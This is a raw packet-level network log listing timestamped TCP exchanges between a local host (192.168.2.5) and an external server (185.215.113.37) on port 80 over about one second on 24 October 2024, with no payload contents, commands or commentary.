Oct 24, 2024 08:38:46.958529949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958534956 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958544016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958550930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958558083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958569050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958575964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958585978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958592892 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958609104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958630085 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958686113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958695889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958707094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958718061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958730936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958762884 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958796024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958807945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958818913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958837986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958854914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958888054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958899021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958909988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958923101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958939075 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958947897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958969116 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958970070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958977938 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.958981991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.958995104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959006071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959012032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.959026098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.959043980 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.959084034 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959095001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959106922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959115982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959127903 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.959151983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.959196091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959206104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959217072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959228992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.959244967 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.959259987 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.960689068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.960700989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.960720062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.960732937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.960740089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.960743904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.960761070 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.960782051 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961299896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961312056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961322069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961345911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961369038 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961370945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961383104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961419106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961460114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961469889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961479902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961491108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961493969 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961504936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961514950 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961515903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961539984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961554050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961563110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961564064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961601019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961632967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961646080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961658001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961664915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961669922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961683035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961690903 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961695910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961707115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961719036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961730003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961740971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961746931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961757898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961764097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961769104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961781025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961791992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961793900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961802959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961805105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961829901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961859941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961880922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961891890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961901903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961911917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961924076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961929083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.961949110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.961968899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.962692022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.962702990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.962749958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963372946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963385105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963395119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963411093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963434935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963438034 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963450909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963471889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963500977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963633060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963649035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963670015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963671923 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963681936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963690996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963694096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963706017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963709116 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963721037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963742971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963789940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963810921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963823080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963835955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963848114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.963854074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963866949 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.963898897 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964144945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964155912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964175940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964188099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964199066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964200020 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964226961 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964241982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964284897 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964299917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964344025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964380026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964390039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964410067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964422941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964428902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964457035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964468002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964471102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964504957 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964519978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964531898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964541912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964544058 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964565992 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964577913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964591980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964603901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964613914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964624882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964636087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964637995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964648008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964660883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964665890 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964688063 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964706898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964708090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964725971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964737892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964747906 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964749098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964760065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964761019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964775085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964791059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964795113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964795113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964801073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964818954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964822054 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964832067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964843035 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964854956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964865923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964875937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964876890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964889050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964900017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964900970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964922905 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964943886 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.964947939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964962006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964972019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.964979887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.965015888 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.965035915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965045929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965055943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965068102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965078115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965089083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965097904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.965097904 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.965120077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.965156078 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.993566990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993793011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993804932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993853092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.993954897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993967056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993977070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993999004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.993998051 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994013071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994019985 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994024992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994046926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994048119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994066000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994074106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994076014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994088888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994096041 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994098902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994112015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994127989 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994144917 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994146109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994158983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994169950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994182110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994191885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994199991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994208097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994214058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994225025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994235039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994239092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994249105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994260073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994262934 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994272947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994282961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994293928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994303942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994309902 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994313955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994327068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994328976 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994338036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994349957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994360924 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994364023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994364023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994385004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994390011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994414091 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994438887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994440079 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994458914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994473934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994478941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994488955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994489908 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994502068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994504929 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994513035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994524956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994530916 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994534969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994540930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994558096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994570017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994570971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994582891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994587898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994607925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994616985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994628906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994633913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994641066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994652033 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994652987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.994668961 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.994698048 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.998275042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.998308897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.998337984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.998343945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.998394012 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.998423100 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.045491934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.045519114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.045531988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.045542002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.045545101 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.045553923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.045584917 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.045617104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.071845055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.071857929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.071867943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.071924925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072419882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072432995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072443962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072459936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072489023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072678089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072720051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072731018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072757006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072766066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072774887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072777987 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072787046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072798967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.072803020 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072822094 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.072851896 CEST	61014	80	192.168.2.5	185.215.113.37
